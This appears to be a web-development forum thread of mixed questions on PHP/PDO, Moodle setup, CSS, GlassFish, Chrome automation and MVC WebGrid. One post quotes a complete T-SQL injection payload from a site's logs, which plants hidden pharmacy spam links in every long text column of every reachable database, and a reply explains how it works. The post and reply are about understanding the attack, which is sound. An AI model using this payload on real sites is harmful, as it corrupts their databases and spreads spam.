|
The only thing I've worked with that could cover those needs is Moodle.
Moodle - Open-source learning platform | Moodle.org[^]
The platform allows plugins for customized functionality, and the API runs on PHP, so is trivial to work with.
"There are three kinds of lies: lies, damned lies and statistics."
- Benjamin Disraeli
|
|
|
|
|
Hi,
Why I am getting:
Fatal error: Uncaught exception 'PDOException' with message 'SQLSTATE[HY000]: General error' in /home/meskholdings/mybluefile.com/change_password.php:22 Stack trace: #0 /home/meskholdings/mybluefile.com/change_password.php(22): PDOStatement->fetch(2) #1 {main} thrown in /home/meskholdings/mybluefile.com/change_password.php on line 22
For below code:
$mysql_query = $mysql_connection->prepare('CALL sp_web_get_employee_by_password_guid(:param_guid, :param_code)');
$mysql_query->bindParam(':param_guid', $password_guid, PDO::PARAM_STR);
$mysql_query->bindParam(':param_code', $activation_code, PDO::PARAM_STR);
$mysql_query->execute();
while($mysql_row = $mysql_query->fetch())
{
$full_name = $mysql_row["official_name"];
$first_name = $mysql_row["first_name"];
$email_address = $mysql_row["email_address"];
}
This is my SELECT SQL:
CREATE DEFINER=`root`@`%` PROCEDURE `sp_web_get_employee_by_password_guid`(IN param_guid varchar(255), IN param_code varchar(255))
BEGIN
DECLARE param_employee_id INT;
IF EXISTS (SELECT employees.employee_id FROM employees JOIN employee_contacts ON employee_contacts.employee_id = employees.employee_id JOIN contact_category ON contact_category.contact_category_id = employee_contacts.contact_category WHERE new_password_guid = param_guid AND new_password_code = param_code AND contact_category.contact_category_type = "EMAIL" AND employee_contacts.use_for_communication = TRUE) THEN
BEGIN
SET param_employee_id = (SELECT employees.employee_id FROM employees JOIN employee_contacts ON employee_contacts.employee_id = employees.employee_id JOIN contact_category ON contact_category.contact_category_id = employee_contacts.contact_category WHERE new_password_guid = param_guid AND new_password_code = param_code AND contact_category.contact_category_type = "EMAIL" AND employee_contacts.use_for_communication = TRUE);
SELECT employees.employee_number, employees.first_name, employees.official_name, employee_contacts.contact_details AS email_address
FROM employees
JOIN employee_contacts ON employee_contacts.employee_id = employees.employee_id
JOIN contact_category ON contact_category.contact_category_id = employee_contacts.contact_category
WHERE employees.employee_id = param_employee_id AND contact_category.contact_category_type = "EMAIL" AND employee_contacts.use_for_communication = TRUE;
END;
END IF;
END
Thanks,
Jassim[^]
Technology News @ www.JassimRahma.com
|
|
|
|
|
You're calling fetch , but your query doesn't always return a resultset. Try changing your query so that it returns an empty resultset if the employee is not found:
CREATE DEFINER=`root`@`%` PROCEDURE `sp_web_get_employee_by_password_guid`(IN param_guid varchar(255), IN param_code varchar(255))
BEGIN
DECLARE param_employee_id INT;
IF EXISTS (SELECT employees.employee_id FROM employees JOIN employee_contacts ON employee_contacts.employee_id = employees.employee_id JOIN contact_category ON contact_category.contact_category_id = employee_contacts.contact_category WHERE new_password_guid = param_guid AND new_password_code = param_code AND contact_category.contact_category_type = "EMAIL" AND employee_contacts.use_for_communication = TRUE) THEN
BEGIN
SET param_employee_id = (SELECT employees.employee_id FROM employees JOIN employee_contacts ON employee_contacts.employee_id = employees.employee_id JOIN contact_category ON contact_category.contact_category_id = employee_contacts.contact_category WHERE new_password_guid = param_guid AND new_password_code = param_code AND contact_category.contact_category_type = "EMAIL" AND employee_contacts.use_for_communication = TRUE);
END;
END IF;
SELECT employees.employee_number, employees.first_name, employees.official_name, employee_contacts.contact_details AS email_address
FROM employees
JOIN employee_contacts ON employee_contacts.employee_id = employees.employee_id
JOIN contact_category ON contact_category.contact_category_id = employee_contacts.contact_category
WHERE employees.employee_id = param_employee_id AND contact_category.contact_category_type = "EMAIL" AND employee_contacts.use_for_communication = TRUE;
END
"These people looked deep within my soul and assigned me a number based on the order in which I joined."
- Homer
|
|
|
|
|
|
Downloaded curl. Added its path to the system variable.
uncommented: php_curl.dll in php.ini
Added the line:
AddType application/x-httpd-php .php
in httpd.conf of apache
copied libeay32.dll and ssleay32.dll files into system32 directory.
Restarted Apache server.
Still having problem. It would be a great help if someone is here.
|
|
|
|
|
adkPrasanna wrote: Still having problem.
It might help if you described the problem you're having, and included the relevant parts of your code.
"These people looked deep within my soul and assigned me a number based on the order in which I joined."
- Homer
|
|
|
|
|
adkPrasanna wrote: It would be a great help if someone is here. Unfortunately we are all elsewhere, so there is no possibility that we can see the error messages on your screen.
|
|
|
|
|
So some are here
I added the following in Environement variables > System Variables > Path
D:\programFiles\PHP
D:\programFiles\Apache\bin
D:\programFiles\Curl
Solved the curl, openssl problems. But not completely. I'm having trouble in opcache section.
When I run mooodle, the message is like this:
PHP setting should be changed. for opcache
I've configured php.ini as recommended on moodle.org.
phpinfo() also doesn't show any info about opcache. Though I've uncommented opcache.enable=1
|
|
|
|
|
Guys;
I have created this control to present a tab page control
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Tab Control</title>
<style type="text/css">
.tabcontrol {
list-style:none;
padding: 8px;
margin:3px;
background-color:lightgray;
position:relative;
}
.tabcontrol>li {
float:left;
margin-right:4px;
}
.tabcontrol>li>span {
display:inline-block;
background-color:gray;
margin:0;
padding:3px;
border:solid 1px silver;
cursor:pointer;
}
.tabcontrol>li>span:hover {
background-color:lightgray;
}
.tabcontrol>li.selected>span {
background-color:#fff;
font-weight:bold;
}
.tabcontrol>li>ul {
display:none;
left:0;
right:0;
position:absolute;
background-color:#fff;
border:solid 1px silver;
margin: 0 8px;
padding:4px;
list-style:none;
}
.tabcontrol>li.selected>ul {
display:block;
}
.tabcontrol>li>ul>li {
float:left;
width:100px;
height:100px;
background-color:blue;
color:#fff;
margin:5px;
padding:2px;
text-align:center;
}
</style>
</head>
<body>
<ul class="tabcontrol" style="height:154px;">
<li>
<span>Tab page 1</span>
<ul>
<li>Box 1.1</li>
<li>Box 1.2.</li>
<li>Box 1.3.</li>
</ul>
</li>
<li class="selected">
<span>Tab page 2</span>
<ul>
<li>Box 2.1.</li>
<li>Box 2.2.</li>
<li>Box 2.3.</li>
</ul>
</li>
<li>
<span>Tab page 3</span>
<ul>
<li>Box 3.1.</li>
<li>Box 3.2.</li>
<li>Box 3.3.</li>
</ul>
</li>
</ul>
</body>
</html>
My problem is in the height of the container list (.tabcontrol), is there another option better then manipulating it with javascript?
Help people,so poeple can help you.
modified 17-May-16 4:25am.
|
|
|
|
|
As the contents of the .tabcontrol are floated, you'll need a "clearfix"[^] to clear the floats.
.clearfix:before,
.clearfix:after {
content: " ";
display: table;
}
.clearfix:after {
clear: both;
}
.clearfix {
*zoom: 1;
}
<ul class="tabcontrol clearfix">
"These people looked deep within my soul and assigned me a number based on the order in which I joined."
- Homer
|
|
|
|
|
Thanks Richard, clearfix solution is a great idea for getting rid of the unwanted floating (I'll consider to use that ) but I was talking about the lists in the second level they are absolutely positioned relative to the outer list. it is just like they were removed from the page and anchored to the outer list using left, right, and top.
what I am for is how to stretch the height of the outer list without setting the height with java script.
Help people,so poeple can help you.
|
|
|
|
|
As far as I'm aware, there's no CSS solution to make parent elements stretch to fit absolutely-positioned children. Javascript is the only solution I've seen.
"These people looked deep within my soul and assigned me a number based on the order in which I joined."
- Homer
|
|
|
|
|
because they don't belong to the page flow but anchored to the page, right?
Help people,so poeple can help you.
|
|
|
|
|
Yes, that's right.
"These people looked deep within my soul and assigned me a number based on the order in which I joined."
- Homer
|
|
|
|
|
how to post offers on facebook
|
|
|
|
|
In my project I defined some alternatedocroot parameters.
This used to work, but after investigating an error I received from a user it seems now it returns a 404 for all resources in that folder. I hadn't changed the glassfish-web.xml so I have no idea why it doesn't work anymore.
I checked the docs, I googled, checked again and googled again, but nothing works. I also tried adding the parameters to the domain.xml on the server and I tried a bunch of alternative url formats just to make sure.
Anyone have an idea on this?
glassfish-web.xml file under < jsp-config > tag:
<property name="alternatedocroot_1" value="from=*.xls dir=/data/StaffExport"/>
<property name="alternatedocroot_2" value="from=*.txt dir=/data/StaffExport"/>
<property name="alternatedocroot_3" value="from=*.csv dir=/data/StaffExport"/>
<property name="alternatedocroot_4" value="from=*.htm dir=/data/StaffExport"/>
this looks ok to me. Server glassfish version is 3.1.2
If anyone can give some clues on what the problem might be, let me know.
|
|
|
|
|
I have a responsive web page where the page layout rearranges when the width of the page shrinks below a certain size with the help of jQuery.
The page layout is supposed to return to its original state when the page expands to its origninal width but it doesn't work completely.
I want to compare the page markup and css of the page before the page shrinks with the markup and css of the page after the page returns to its original width to see what is causing the page layout to not return to its original state.
Is there a way to get the entire page markup and css (including dynamically generated ones) all at once in Chrome DevTools?
If this is not possible in Chrome DevTools, are there other tools that can give me what I'm looking for?
modified 12-May-16 6:32am.
|
|
|
|
|
I dont know i understood you but you may right-click the root element in the elements panel and choose edit as html, then copy the text and past it to a text file.
Help people,so poeple can help you.
|
|
|
|
|
Hello,
Currently I am automating website in Internet Explorer. Due to compatible issue in different IE's, I am planning to automate in Google Chrome.
I have searched on internet for that, many have suggested that Selenium is the best solution. But in selenium I will get events only if events are created using code. If user manually navigate to some other URL then we cannot manage it.
Mainly I want the same working as there in Internet Explorer. For example, 'browser control', 'beforenavigate' , 'documentcomplete' etc.
What is the best working method to website automation in Google Chrome ( With all functions which can be done in Internet Explorer)?
Please help.
|
|
|
|
|
Someone is (repeatedly) trying to hack a site I look after - unsuccessfully, I might add, as I do check and sanitize all requests - but I am interested in knowing how...
they are requesting a page URL with the following appended:
';declare @b cursor;declare @s varchar(8000);declare @w varchar(99);set @b=cursor for select db_name() union select name from sys.databases where (has_dbaccess(name)!=0) and name not in ('master','tempdb','model','msdb',db_name());open @b;fetch next from @b into @w;while @@fetch_status=0 begin set @s='begin try use '+@w+';declare @c cursor;declare @d varchar(4000);set @c=cursor for select ''update [''+table_name+''] set [''+column_name+'']=[''+column_name+'']+case abs(checksum(newid()))%2510 when 0 then ''''''+char(60)+''div style="display:none"''+char(62)+''transfer prescription coupon ''+char(60)+''a href="http:''+char(47)+char(47)+''www.liberitutti.info''+char(47)+''page''+char(47)+''viagra-coupons-from-pfizer"''+char(62)+''''''+case abs(checksum(newid()))%253 when 0 then ''''liberitutti.info'''' when 1 then ''''liberitutti.info'''' else ''''2016 viagra coupon'''' end +''''''+char(60)+char(47)+''a''+char(62)+'' viagra coupons and discounts''+char(60)+char(47)+''div''+char(62)+'''''' else '''''''' end'' from sysindexes as i inner join sysobjects as o on i.id=o.id inner join information_schema.columns on o.name=table_name where(indid in (0,1)) and data_type like ''%25varchar'' and(character_maximum_length in (2147483647,-1));open @c;fetch next from @c into @d;while @@fetch_status=0 begin exec (@d);fetch next from @c into @d;end;close @c end try begin catch end catch';exec (@s);fetch next from @b into @w;end;close @b--
It looks to me as though they're hoping to inject some code into the page to either redirect users or at least display a link to their site - but how does this work? And what's with the 'update table name checksum' stuff about?
Just curious...
"I'm never quite so stupid as when I'm being smart." - Linus van Pelt.
"If you were as smart as you think you are, you wouldn't think you were so smart!" - Charlie Brown.
|
|
|
|
|
That looks like T-SQL injection attempt.
Looking at the content, they are trying to inject spam comments or something like that and are probably randomly trying sites hoping to find a vulnerable system, whether it be a joomla or wordpress or a.n.other.
I used to get this **** all the time when my website was up (joomla V1.25 or whatever it was), and used to manually have to delete hundreds and thousands of comments waiting in moderation.
The fact the ISP screwed an update and killed my virtual server probably did me a favour!
Edit:
First they set up a some variables (Declare), one of them is a cursor (database positioning), next they do a search for and iterate all the databases defined in the system and then begin a process of simply adding content to the various columns.
If you break the statement down into a readible structure, and then compares the keywords against the T-SQL specification, you will be able to work out what is going on.
e.g. variables named with a single @ are user variables, and ones referenced by double @@ are reserved by the database language for system variables, e.g. @@rowcount is used to inform how many rows are updated/changed etc. following a command.
|
|
|
|
|
box-sizing: content-box;
border: 3px solid black;
padding: 5px;
padding-top: 10px;
height: 100px;
background: red;
When it is rendered in the browser, how tall will the red part be?
modified 7-May-16 6:28am.
|
|
|
|
|
I can only assume that this is a homework question, in which case you need to figure out the answer. Start by sketching out a diagram of the object on paper, using the various dimensions you have been given. You should then find the answer quite quickly.
|
|
|
|
|
box-sizing: content-box;
border: 3px solid black;
padding: 5px;
padding-top: 10px;
height: 100px;
background: red;
When it is rendered in the browser, how tall will the red part be?
|
|
|
|
|
I'm using the MVC WebGrid, and I'd like to change the page navigation links to be ActionLinks instead of simple href elements.
Is that possible? I googled it and couldn't find anything (that I could get to from work, anyway).
EDIT =====================
Here's what it gives me (viewed page source) when I simply specify the nextText or previousText (I'm not should page numbers, just next and prev)
<tfoot>
<tr class="webgrid-footer">
<td colspan="5"><a href="/Tasks/Index?page=2">Next</a> </td>
</tr>
</tfoot>
I suppose I need to replace everything inside the <td> tag, but how would I go about doing that?
".45 ACP - because shooting twice is just silly" - JSOP, 2010
- You can never have too much ammo - unless you're swimming, or on fire. - JSOP, 2010
- When you pry the gun from my cold dead hands, be careful - the barrel will be very hot. - JSOP, 2013
modified 3-May-16 11:29am.
|
|
|
|